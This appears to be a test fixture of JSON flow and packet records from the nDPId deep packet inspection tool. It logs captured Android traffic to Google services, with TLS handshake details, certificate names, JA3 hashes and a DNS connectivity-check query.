+01628{"flow_id":27,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":106,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454867,"pkt_ts_usec":789734,"pkt_caplen":951,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":951,"pkt_l4_len":917,"pkt":"TGr2n\/YnxiwDYGpkCABFAAOp46AAAHYGm47Y7yZ4wKgCEAG7gM7suf4UTwqRE4AYAPB3NwAAAQEICgbkEXz\/\/zOHxhwt79EYYWXnI4MgqCMS\/9Ikf9Qv50RqW03XUGawr55CYwX74BzEY2Gvn2oz\/2KXvUjZ03wUZ9x13C5p6PhteGnQtxAFuPExwjsk\/RozdPgj4OxrGYoWxuPNpM0L27OkWWA4iDutHbnGjKdTG\/y82aSrvN08YdeTFZjugb2P4mRHIEAGTtesl+i5wFkSoUklI+TtcDQspbRjfPmjPYPRzW0krAcCAwEAAaOCATMwggEvMA4GA1UdDwEB\/wQEAwIBhjAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwEgYDVR0TAQH\/BAgwBgEB\/wIBADAdBgNVHQ4EFgQUmNH4bhDrz5vsYJ8YkBug630J\/SswHwYDVR0jBBgwFoAUm+IHV2ccHsBqBt5ZtJot39wZhi4wNQYIKwYBBQUHAQEEKTAnMCUGCCsGAQUFBzABhhlodHRwOi8vb2NzcC5wa2kuZ29vZy9nc3IyMDIGA1UdHwQrMCkwJ6AloCOGIWh0dHA6Ly9jcmwucGtpLmdvb2cvZ3NyMi9nc3IyLmNybDA\/BgNVHSAEODA2MDQGBmeBDAECAjAqMCgGCCsGAQUFBwIBFhxodHRwczovL3BraS5nb29nL3JlcG9zaXRvcnkvMA0GCSqGSIb3DQEBCwUAA4IBAQAagD42efvzLqlGN31eVBY1rsdOCJn+vdE0aSZSZgc9CrpJy2L08RqO\/BFPaJZMdCvTZ96yo6oFjYRNTCBlD6WW2g0W+Gw7228EI4hrOmzBYL1on3GO7i1YNAfw1VTphln9e14NIZT1jMmo+NjyrcwPGvOap6kEJ\/mjybD\/AnhrYbrHNSvoVvpPwxwM7bY8tEvq7czhPOzcDYzWPpvKQliLzBYhF0C8otZm79rEFVvNiaqbCSbnMtINbmcgAlsQsJAJnAwfnq3YO+qh\/GzoEFwIUhlRKnG7rHq13RXtK8kIKiyKtKYhq2P\/11JJUNCJt63yr\/tQri\/hlQ3zRq2dnPXKFgMDAHMMAABvAwAdIHJo2c4KVN+CoUxaZSNZJAA1neTMVFMdaLlrhYyfhlJEBAMARzBFAiEA1aEQpiPcP2j255s8vrM7twEVl2fURcih\/qijiSimjZECIBovWYnKwFgg5yE9gM68Z2ly7RBtG2LFPMOcmq5NxiHvFgMDAAQOAAAA"} +02151{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":106,"source":"android.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":8,"flow_first_seen":1582454867688,"flow_last_seen":1582454867789,"flow_tot_l4_data_len":4159,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":519,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"216.239.38.120","src_port":32974,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"clients1.google.com","server_names":"*.google.com,*.android.com,*.appengine.google.com,*.cloud.google.com,*.crowdsource.google.com,*.g.co,*.gcp.gvt2.com,*.gcpcdn.gvt1.com,*.ggpht.cn,*.gkecnapps.cn,*.google-analytics.com,*.google.ca,*.google.cl,*.google.co.in,*.google.co.jp,*.google.co.uk,*.google.com.ar,*.google.com.au,*.google.com.br,*.google.com.co,*.google.com.mx,*.google.com.tr,*.google.com.vn,*.google.de,*.google.es,*.google.fr,*.google.hu,*.google.it,*.google.nl,*.google.pl,*.google.pt,*.googleadapis.com,*.googleapis.cn,*.googlecnapps.cn,*.googlecommerce.com,*.googlevideo.com,*.gstatic.cn,*.gstatic.com,*.gstaticcnapps.cn,*.gvt1.com,*.gvt2.com,*.metric.gstatic.com,*.urchin.com,*.url.google.com,*.wear.gkecnapps.cn,*.youtube-nocookie.com,*.youtube.com,*.youtubeeducation.com,*.youtubekids.com,*.yt.be,*.ytimg.com,android.clients.google.com,android.com,developer.android.google.cn,developers.android.google.cn,g.co,ggpht.cn,gkecnapps.cn,goo.gl,google-analytics.com,google.com,googlecnapps.cn,googlecommerce.com,source.android.google.cn,urchin.com,www.goo.gl,youtu.be,youtube.com,youtubeeducation.com,youtubekids.com,yt.be","ja3":"c60d01d600aacc2c04844595ce224279","ja3s":"b31c0b82752ea0e2c48b8ce46e9263e5","unsafe_cipher":0,"cipher":"TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Google Trust Services, CN=GTS CA 1O1","issuerDN":"C=US, ST=California, L=Mountain View, O=Google LLC, CN=*.google.com","fingerprint":"80:50:28:F4:84:F5:C4:C6:41:DE:75:67:38:C4:A6:E2:59:FF:75:42"}} +00428{"flow_id":27,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":107,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454867,"pkt_ts_usec":790200,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0oxxAAEAG1YfAqAIQ2O8meIDOAbtPCpET7Ln4ioAQAWIfYAAAAQEICv\/\/M48G5BF8"} +00429{"flow_id":27,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":108,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454867,"pkt_ts_usec":791027,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0ox1AAEAG1YbAqAIQ2O8meIDOAbtPCpET7Ln+FIAQAW0ZywAAAQEICv\/\/M48G5BF8"} +00429{"flow_id":27,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":109,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454867,"pkt_ts_usec":791153,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0ox5AAEAG1YXAqAIQ2O8meIDOAbtPCpET7LoBiYAQAXgWSwAAAQEICv\/\/M48G5BF8"} +00558{"flow_id":27,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":110,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454867,"pkt_ts_usec":993691,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"xiwDYGpkTGr2n\/YnCABFAACRox9AAEAG1SfAqAIQ2O8meIDOAbtPCpET7LoBiYAYAXgQmwAAAQEICv\/\/M8EG5BF8FgMDACUQAAAhIMGlnjEj9Lj1b\/2iWKBd9kUBXaFAcW1UWVPIVmFcNMtPFAMDAAEBFgMDACgAAAAAAAAAANK4JZVSTeCl1uhh6WRGot44JjTc1K4kPGrZP3tF5k\/M"} +00497{"flow_id":27,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":111,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454868,"pkt_ts_usec":7000,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"TGr2n\/YnxiwDYGpkCABFAABn5DgAAHYGnjjY7yZ4wKgCEAG7gM7sugGJTwqRcIAYAPAlqQAAAQEICgbkElb\/\/zPBFAMDAAEBFgMDACgAAAAAAAAAAGCBkTH0GlTpEG03TUiHoZEtrWtXoJe8ULPjsbHqT8w5"} +00428{"flow_id":27,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":112,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454868,"pkt_ts_usec":15318,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0oyBAAEAG1YPAqAIQ2O8meIDOAbtPCpFw7LoBvIAQAXgUqgAAAQEICv\/\/M8YG5BJW"} +00858{"flow_id":27,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":113,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454868,"pkt_ts_usec":127992,"pkt_caplen":380,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":380,"pkt_l4_len":346,"pkt":"xiwDYGpkTGr2n\/YnCABFAAFuoyFAAEAG1EjAqAIQ2O8meIDOAbtPCpFw7LoBvIAYAXgn1AAAAQEICv\/\/M+MG5BJWFwMDATUAAAAAAAAAARloW2AbeL3zCM\/FxBDPUlbQJO8P03c9V3tZ2In6JwC4p34fQaFDDmdyVo0vYbCj7yqvWAIMK+pMoWcRUNLm5xz6smYqyanNs+xhFrEwajdNfMaUt0DLmSlef9fgV8WhIEISQZPDD5I4WYC\/krL1xru5qePeoqVJQ\/5SnBtKtv6sVMYbRfwU5dFivRu2qWhzYIzkqjc0trYtEe2RJ3maRNpXD4ovdAjFNT5j8xEQkMVGU\/dQ\/Qg5ANnzXtS2oWpbghc60FaictIy4Iu3DGYmsxIaWTVAlXBBber9pLSjJDOdpfBn2h7dpvsVfqL79nOxJYYcT06G3Y4IqoK6Nulb8T4rx799WynRy4UKWNUki1\/ayIE+Wvg4JRPM5k0lzDrCK4cqkkQpYUJM58Rh5gk="} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":123,"source":"android.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1582454868348,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"172.217.20.74","src_port":52486,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":29,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":123,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454868,"pkt_ts_usec":348648,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA8A3VAAEAGs2vAqAIQrNkUSs0GAbvbqzdvAAAAAKAC\/\/+uLAAAAgQFtAQCCAr\/\/zQaAAAAAAEDAwg="} +00440{"flow_id":29,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":124,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454868,"pkt_ts_usec":386134,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA8PjQAAHUGg6ys2RRKwKgCEAG7zQbWjo3E26s3cKAS6yAJ1AAAAgQFZAQCCAq9hJee\/\/80GgEDAwg="} +00428{"flow_id":29,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":125,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454868,"pkt_ts_usec":386954,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0A3ZAAEAGs3LAqAIQrNkUSs0GAbvbqzdw1o6NxYAQAVciEQAAAQEICv\/\/NCS9hJee"} +00681{"flow_id":29,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":126,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454868,"pkt_ts_usec":424791,"pkt_caplen":251,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":251,"pkt_l4_len":217,"pkt":"xiwDYGpkTGr2n\/YnCABFAADtA3dAAEAGsrjAqAIQrNkUSs0GAbvbqzdw1o6NxYAYAVdNBgAAAQEICv\/\/NC29hJeeFgMBALQBAACwAwMhPT2KHzHW0LHLGe6T2CwyHBBvprpU2QgwVPHkrHLB\/AAAHMArwCzMqcAvwDDMqMAJwArAE8AUAJwAnQAvADUBAABr\/wEAAQAAAAAYABYAABNwbGF5Lmdvb2dsZWFwaXMuY29tABcAAAAjAAAADQAUABIEAwgEBAEFAwgFBQEIBgYBAgEABQAFAQAAAAAAEAALAAkIaHR0cC8xLjEACwACAQAACgAIAAYAHQAXABg="} +00736{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":126,"source":"android.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":4,"flow_first_seen":1582454868348,"flow_last_seen":1582454868424,"flow_tot_l4_data_len":329,"flow_min_l4_data_len":32,"flow_max_l4_data_len":217,"flow_avg_l4_data_len":82,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"172.217.20.74","src_port":52486,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.GoogleServices","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"play.googleapis.com","ja3":"d8c87b9bfde38897979e41242626c2f3","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"http\/1.1"}} +00428{"flow_id":29,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":127,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454868,"pkt_ts_usec":461131,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA0PwMAAHUGguWs2RRKwKgCEAG7zQbWjo3F26s4KYAQAPAhagAAAQEICr2El+r\/\/zQt"} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":128,"source":"android.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1582454868462,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":47081,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00460{"flow_id":30,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":128,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454868,"pkt_ts_usec":462800,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"xiwDYGpkTGr2n\/YnCABFAABLqjFAAEARCw\/AqAIQwKgCAbfpADUAN\/8RnJ4BAAABAAAAAAAAEWNvbm5lY3Rpdml0eWNoZWNrB2dzdGF0aWMDY29tAAABAAE="} +00658{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":128,"source":"android.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1582454868462,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":47081,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"ConnectivityCheck"},"dns": {"query":"connectivitycheck.gstatic.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +02334{"flow_id":29,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":129,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454868,"pkt_ts_usec":466397,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"TGr2n\/YnxiwDYGpkCABFAAW+PxQAAHUGfUqs2RRKwKgCEAG7zQbWjo3F26s4KYAQAPABYQAAAQEICr2El+7\/\/zQtFgMDAE4CAABKAwNeUlhUvrLDv7k9SIcDUVl7W67MLlbuQ+pET1dOR1JEAQDAKwAAIgAXAAD\/AQABAAALAAIBAAAjAAAAEAALAAkIaHR0cC8xLjEWAwMK2AsACtQACtEABn0wggZ5MIIFYaADAgECAhEAkmiT9mws\/aAIAAAAAC5xSDANBgkqhkiG9w0BAQsFADBCMQswCQYDVQQGEwJVUzEeMBwGA1UEChMVR29vZ2xlIFRydXN0IFNlcnZpY2VzMRMwEQYDVQQDEwpHVFMgQ0EgMU8xMB4XDTIwMDIxMjExNDUyMloXDTIwMDUwNjExNDUyMlowcjELMAkGA1UEBhMCVVMxEzARBgNVBAgTCkNhbGlmb3JuaWExFjAUBgNVBAcTDU1vdW50YWluIFZpZXcxEzARBgNVBAoTCkdvb2dsZSBMTEMxITAfBgNVBAMMGCouc3RvcmFnZS5nb29nbGVhcGlzLmNvbTBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABGjYvoWmAuEghf\/ulNjNGNsok42+wtJXhQpGeLGoP19pKNpl\/sL2YvefM41btnqT53ieXI4gPyoNKzjq6HcFxmajggQDMIID\/zAOBgNVHQ8BAf8EBAMCB4AwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH\/BAIwADAdBgNVHQ4EFgQUX9WmnWB+6rw+hoNKM5q3l7r85yIwHwYDVR0jBBgwFoAUmNH4bhDrz5vsYJ8YkBug630J\/SswZAYIKwYBBQUHAQEEWDBWMCcGCCsGAQUFBzABhhtodHRwOi8vb2NzcC5wa2kuZ29vZy9ndHMxbzEwKwYIKwYBBQUHMAKGH2h0dHA6Ly9wa2kuZ29vZy9nc3IyL0dUUzFPMS5jcnQwggHIBgNVHREEggG\/MIIBu4IYKi5zdG9yYWdlLmdvb2dsZWFwaXMuY29tgiQqLmFwcHNwb3QuY29tLnN0b3JhZ2UuZ29vZ2xlYXBpcy5jb22CIiouY29tbW9uZGF0YXN0b3JhZ2UuZ29vZ2xlYXBpcy5jb22CKSouY29udGVudC1zdG9yYWdlLWRvd25sb2FkLmdvb2dsZWFwaXMuY29tgicqLmNvbnRlbnQtc3RvcmFnZS11cGxvYWQuZ29vZ2xlYXBpcy5jb22CICouY29udGVudC1zdG9yYWdlLmdvb2dsZWFwaXMuY29tghAqLmdvb2dsZWFwaXMuY29tgiEqLnN0b3JhZ2UtZG93bmxvYWQuZ29vZ2xlYXBpcy5jb22CHyouc3RvcmFnZS11cGxvYWQuZ29vZ2xlYXBpcy5jb22CHyouc3RvcmFnZS5zZWxlY3QuZ29vZ2xlYXBpcy5jb22CIGNvbW1vbmRhdGFzdG9yYWdlLmdvb2dsZWFwaXMuY29tghZzdG9yYWdlLmdvb2dsZWFwaXMuY29tgh1zdG9yYWdlLnNlbGVjdC5nb29nbGVhcGlzLmNvbYIPdW5maWx0ZXJlZC5uZXdzMCEGA1UdIAQaMBgwCAYGZ4EMAQICMAwGCisGAQQB1nkCBQMwLwYDVR0fBCgwJjAkoCKgIIYeaHR0cDovL2NybC5wa2kuZ29vZy9HVFMxTzEuY3JsMIIBAgYKKwYBBAHWeQIEAgSB8wSB8ADuAHUAsh4FzIuizYogTodm+Su5iiUgZ2va+nDnsklTLe+LkF4AAAFwOW68ggAABAMARjBEAiAqXIB835y+StI5buVS70ZlHDYVp42pBYP8iJ8VwBmaAwIgFi2WB39kbmHISiQJx4F+fUlYSadFNWOwv5ONd22ERy0AdQBep3P531bA57U2SH3QSeAyepGaDIShEhKEGHWWgXFFWAAAAXA5bryXAAAEAwBGMEQCIBE="} +00795{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":129,"source":"android.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":6,"flow_first_seen":1582454868348,"flow_last_seen":1582454868466,"flow_tot_l4_data_len":1811,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":301,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"172.217.20.74","src_port":52486,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.GoogleServices","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"play.googleapis.com","ja3":"d8c87b9bfde38897979e41242626c2f3","ja3s":"eca9b8f0f3eae50309eaf901cb822d9b","unsafe_cipher":0,"cipher":"TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256","alpn":"http\/1.1"}} +02341{"flow_id":29,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":130,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454868,"pkt_ts_usec":466413,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"TGr2n\/YnxiwDYGpkCABFAAW+PxUAAHUGfUms2RRKwKgCEAG7zQbWjpNP26s4KYAQAPB+TgAAAQEICr2El+7\/\/zQtZgGRyfP8Xh9BjAoXEsnXOyBoQWwADXDGTG0w6+y6eQIgd7a87AnMAIPmI7vqMAfKvnTSoJvBOb1gkg1ivZpc6vkwDQYJKoZIhvcNAQELBQADggEBACwqIwztAr8ECO0nZPWuv8hrKocVp7JXUDUl6gLS04pdQ3oG4Gq6+3Yfxf51TY5HKfS6iAlw96X4sklrOMlR9DcHRm4II5E1BDvamYGGIS6+ubrneYT9JnqCB2impZNFovRoq9AJRtwL8OeB2dCQHyfNs9IXqJ3BVK5PaE8YnPX8XyiThhuysVUSK4BR92oQZSQSGCPU0cH03xiS6VDymdAcqRmRDGu56\/j57F+GLPuEMlkvhfcn2JT2eQD9GDGKLBgSQn5\/GlANVVPyhHLc7qYZODgzwZbqKxr7Evr6UAFLPeDQ+aXEwEAswp6RrcVDbLLQt21NvoVuYfmoMhElfWsABE4wggRKMIIDMqADAgECAg0B47SaoY2KqYElaVC4MA0GCSqGSIb3DQEBCwUAMEwxIDAeBgNVBAsTF0dsb2JhbFNpZ24gUm9vdCBDQSAtIFIyMRMwEQYDVQQKEwpHbG9iYWxTaWduMRMwEQYDVQQDEwpHbG9iYWxTaWduMB4XDTE3MDYxNTAwMDA0MloXDTIxMTIxNTAwMDA0MlowQjELMAkGA1UEBhMCVVMxHjAcBgNVBAoTFUdvb2dsZSBUcnVzdCBTZXJ2aWNlczETMBEGA1UEAxMKR1RTIENBIDFPMTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANAYz0XUi83TnORA73603WkhG8nPPI5MdbkPMRmEPZ48Ke9QDRCTbwWAgJ8qoL0SSwLhPZ9YFiT+MJ8LdHdVkx1L903hkoIQ9lGsDMOyIpQPNGuYEEnnC52DOd0gxhwt79EYYWXnI4MgqCMS\/9Ikf9Qv50RqW03XUGawr55CYwX74BzEY2Gvn2oz\/2KXvUjZ03wUZ9x13C5p6PhteGnQtxAFuPExwjsk\/RozdPgj4OxrGYoWxuPNpM0L27OkWWA4iDutHbnGjKdTG\/y82aSrvN08YdeTFZjugb2P4mRHIEAGTtesl+i5wFkSoUklI+TtcDQspbRjfPmjPYPRzW0krAcCAwEAAaOCATMwggEvMA4GA1UdDwEB\/wQEAwIBhjAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwEgYDVR0TAQH\/BAgwBgEB\/wIBADAdBgNVHQ4EFgQUmNH4bhDrz5vsYJ8YkBug630J\/SswHwYDVR0jBBgwFoAUm+IHV2ccHsBqBt5ZtJot39wZhi4wNQYIKwYBBQUHAQEEKTAnMCUGCCsGAQUFBzABhhlodHRwOi8vb2NzcC5wa2kuZ29vZy9nc3IyMDIGA1UdHwQrMCkwJ6AloCOGIWh0dHA6Ly9jcmwucGtpLmdvb2cvZ3NyMi9nc3IyLmNybDA\/BgNVHSAEODA2MDQGBmeBDAECAjAqMCgGCCsGAQUFBwIBFhxodHRwczovL3BraS5nb29nL3JlcG9zaXRvcnkvMA0GCSqGSIb3DQEBCwUAA4IBAQAagD42efvzLqlGN31eVBY1rsdOCJn+vdE0aSZSZgc9CrpJy2L08RqO\/BFPaJZMdCvTZ96yo6oFjYRNTCBlD6WW2g0W+Gw7228EI4hrOmzBYL1on3GO7i1YNAfw1VTphln9e14NIZT1jMmo+NjyrcwPGvOap6kEJ\/mjybD\/AnhrYbrHNSvoVvpPwxwM7bY8tEvq7czhPOzcDYzWPpvKQliLzBYhF0C8otZm79rEFVvNiaqbCSbnMtINbmcgAlsQsJAJnAwfnq3YO+qh\/GzoEFwIUhlRKnG7rHq13RXtK8kIKiyKtKY="} +00643{"flow_id":29,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":131,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454868,"pkt_ts_usec":466414,"pkt_caplen":222,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":222,"pkt_l4_len":188,"pkt":"TGr2n\/YnxiwDYGpkCABFAADQPxYAAHUGgjas2RRKwKgCEAG7zQbWjpjZ26s4KYAYAPAc4gAAAQEICr2El+7\/\/zQtIatj\/9dSSVDQibet8q\/7UK4v4ZUN80atnZz1yhYDAwByDAAAbgMAHSB7VtxCRs0c8B9etZT3IUKTQvlT5LDLWvonE9yJN3gFTgQDAEYwRAIgWQUikQAvlG1Y+hPTaCU66fj7H82hI\/D32LV46lBO2YQCIAsnO6sk7meCDdFHCBVwp\/+edGHHEih2ITumUaxcpKb3FgMDAAQOAAAA"} +01468{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":131,"source":"android.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":8,"flow_first_seen":1582454868348,"flow_last_seen":1582454868466,"flow_tot_l4_data_len":3449,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":431,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"172.217.20.74","src_port":52486,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.GoogleServices","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"play.googleapis.com","server_names":"*.storage.googleapis.com,*.appspot.com.storage.googleapis.com,*.commondatastorage.googleapis.com,*.content-storage-download.googleapis.com,*.content-storage-upload.googleapis.com,*.content-storage.googleapis.com,*.googleapis.com,*.storage-download.googleapis.com,*.storage-upload.googleapis.com,*.storage.select.googleapis.com,commondatastorage.googleapis.com,storage.googleapis.com,storage.select.googleapis.com,unfiltered.news","ja3":"d8c87b9bfde38897979e41242626c2f3","ja3s":"eca9b8f0f3eae50309eaf901cb822d9b","unsafe_cipher":0,"cipher":"TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Google Trust Services, CN=GTS CA 1O1","issuerDN":"C=US, ST=California, L=Mountain View, O=Google LLC, CN=*.storage.googleapis.com","alpn":"http\/1.1","fingerprint":"BA:BA:BA:55:69:9F:E0:BD:48:80:23:A4:B3:AD:C1:FF:EA:4E:17:C9"}} +00428{"flow_id":29,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":132,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454868,"pkt_ts_usec":467589,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0A3hAAEAGs3DAqAIQrNkUSs0GAbvbqzgp1o6TT4AQAWIbXwAAAQEICv\/\/NDi9hJfu"} 